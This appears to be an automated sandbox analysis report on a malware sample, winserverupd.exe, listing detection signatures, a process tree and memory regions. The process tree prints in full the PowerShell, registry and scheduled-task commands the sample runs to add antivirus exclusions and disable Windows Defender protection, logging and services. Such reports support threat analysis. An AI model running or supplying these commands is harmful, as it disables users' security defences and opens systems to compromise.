Analysis

  • max time kernel
    118s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    18/03/2024, 15:12

General

  • Target
    winserverupd.exe
  • Size 91KB
  • Sample240318-slmnvscc5w
  • SHA256 c06da1d7ce6843074ae3a964dc8aa862151f2196c0e15964d3d9959a44ba89f8
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\winserverupd.exe
    "C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2316
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7040.tmp\7041.tmp\7042.bat C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\Admin\Appdata\Local" -Force"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Add-MpPreference -ExclusionPath "C:\ProgramData" -Force"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2612
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows" -Force"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2420
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\Admin\Appdata\Local" -Force"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1976
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Add-MpPreference -ExclusionProcess "MsBuild.exe" -Force"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1476
      • C:\Windows\system32\reg.exe
        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        3⤵
          PID:2972
        • C:\Windows\system32\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
          3⤵
            PID:2028
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
            3⤵
              PID:744
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
              3⤵
                PID:1036
              • C:\Windows\system32\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:2464
              • C:\Windows\system32\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:2084
              • C:\Windows\system32\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:1792
              • C:\Windows\system32\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                3⤵
                  PID:1860
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                  3⤵
                    PID:2136
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                    3⤵
                      PID:2016
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                      3⤵
                        PID:2032
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                        3⤵
                          PID:2144
                        • C:\Windows\system32\reg.exe
                          reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                          3⤵
                            PID:2556
                          • C:\Windows\system32\reg.exe
                            reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                            3⤵
                              PID:1592
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                              3⤵
                                PID:328
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                3⤵
                                  PID:1732
                                • C:\Windows\system32\reg.exe
                                  reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                  3⤵
                                    PID:376
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                    3⤵
                                      PID:1336
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                      3⤵
                                      • Modifies security service
                                      PID:1032
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -PUAProtection disable" -Force"
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1952
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:796
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6 -Force"
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2220
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6 -Force"
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1564
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6 -Force"
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:432
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -ScanScheduleDay 8 -Force"
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1768
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -DisableCatchupFullScan 1 -Force"
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:628
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -DisableCatchupQuickScan 1 -Force"
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2232
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -DisableScriptScanning 1 -Force"
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1040
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -ScanAvgCPULoadFactor 5 -Force"
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2592
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -ServiceHealthReportInterval 0 -Force"
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2724
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -command "Set-MpPreference -UnknownThreatDefaultAction 6 -Force"
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2416
                                    • C:\Windows\system32\schtasks.exe
                                      schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                      3⤵
                                        PID:1996
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                        3⤵
                                          PID:2484
                                        • C:\Windows\system32\schtasks.exe
                                          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                          3⤵
                                            PID:580
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                            3⤵
                                              PID:524
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                              3⤵
                                                PID:3056

                                          Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

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                                                Downloads

                                                7042.bat

                                                • Path C:\Users\Admin\AppData\Local\Temp\7040.tmp\7041.tmp\7042.bat
                                                • Size 3KB
                                                • SHA256 582e18cb3c8b2c06080cbb7df73ef27128654a4f201476f457a787cae6b068a4
                                                • MD5 SHA1 SHA512

                                                8NQTVY677PCNC1JXRHJS.temp

                                                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8NQTVY677PCNC1JXRHJS.temp
                                                • Size 7KB
                                                • SHA256 79319be08d40ac59c0ba6d390651305493d85d58a2ac73d4d3c99d4d4ed90a35
                                                • MD5 SHA1 SHA512 SSDEEP

                                                memory/796-87-0x00000000023B0000-0x0000000002430000-memory.dmp

                                                memory/796-84-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/796-89-0x00000000023B0000-0x0000000002430000-memory.dmp

                                                memory/796-90-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/796-88-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/796-85-0x00000000023B0000-0x0000000002430000-memory.dmp

                                                memory/796-86-0x00000000023B0000-0x0000000002430000-memory.dmp

                                                memory/1476-62-0x0000000002810000-0x0000000002890000-memory.dmp

                                                memory/1476-65-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/1476-64-0x0000000002810000-0x0000000002890000-memory.dmp

                                                memory/1476-63-0x0000000002810000-0x0000000002890000-memory.dmp

                                                memory/1476-61-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/1476-59-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/1476-60-0x0000000002810000-0x0000000002890000-memory.dmp

                                                memory/1564-110-0x00000000027E0000-0x0000000002860000-memory.dmp

                                                memory/1564-111-0x00000000027E0000-0x0000000002860000-memory.dmp

                                                memory/1564-109-0x00000000027E0000-0x0000000002860000-memory.dmp

                                                memory/1564-108-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/1576-8-0x00000000029A0000-0x0000000002A20000-memory.dmp

                                                memory/1576-9-0x0000000001E70000-0x0000000001E78000-memory.dmp

                                                memory/1576-10-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/1576-11-0x00000000029A0000-0x0000000002A20000-memory.dmp

                                                memory/1576-12-0x00000000029A0000-0x0000000002A20000-memory.dmp

                                                memory/1576-13-0x00000000029A0000-0x0000000002A20000-memory.dmp

                                                memory/1576-7-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/1576-6-0x000000001B260000-0x000000001B542000-memory.dmp

                                                memory/1576-14-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/1952-78-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

                                                memory/1952-72-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

                                                memory/1952-73-0x0000000002950000-0x00000000029D0000-memory.dmp

                                                memory/1952-75-0x0000000002950000-0x00000000029D0000-memory.dmp

                                                memory/1952-76-0x0000000002950000-0x00000000029D0000-memory.dmp

                                                memory/1952-74-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

                                                memory/1952-77-0x0000000002950000-0x00000000029D0000-memory.dmp

                                                memory/1976-50-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

                                                memory/1976-53-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

                                                memory/1976-52-0x00000000028D0000-0x0000000002950000-memory.dmp

                                                memory/1976-51-0x00000000028D0000-0x0000000002950000-memory.dmp

                                                memory/1976-49-0x00000000028D0000-0x0000000002950000-memory.dmp

                                                memory/1976-48-0x00000000028D0000-0x0000000002950000-memory.dmp

                                                memory/1976-47-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

                                                memory/2220-102-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

                                                memory/2220-96-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

                                                memory/2220-101-0x0000000001F40000-0x0000000001FC0000-memory.dmp

                                                memory/2220-98-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

                                                memory/2220-100-0x0000000001F40000-0x0000000001FC0000-memory.dmp

                                                memory/2220-99-0x0000000001F40000-0x0000000001FC0000-memory.dmp

                                                memory/2220-97-0x0000000001F40000-0x0000000001FC0000-memory.dmp

                                                memory/2420-39-0x0000000002A20000-0x0000000002AA0000-memory.dmp

                                                memory/2420-38-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/2420-40-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/2420-35-0x0000000002A20000-0x0000000002AA0000-memory.dmp

                                                memory/2420-37-0x0000000002A20000-0x0000000002AA0000-memory.dmp

                                                memory/2420-36-0x0000000002A20000-0x0000000002AA0000-memory.dmp

                                                memory/2420-34-0x000007FEF5E40000-0x000007FEF67DD000-memory.dmp

                                                memory/2612-28-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

                                                memory/2612-24-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

                                                memory/2612-25-0x00000000029C0000-0x0000000002A40000-memory.dmp

                                                memory/2612-27-0x00000000029C0000-0x0000000002A40000-memory.dmp

                                                memory/2612-26-0x00000000029C0000-0x0000000002A40000-memory.dmp

                                                memory/2612-23-0x00000000029C0000-0x0000000002A40000-memory.dmp

                                                memory/2612-22-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

                                                memory/2612-21-0x0000000002510000-0x0000000002518000-memory.dmp

                                                memory/2612-20-0x000000001B280000-0x000000001B562000-memory.dmp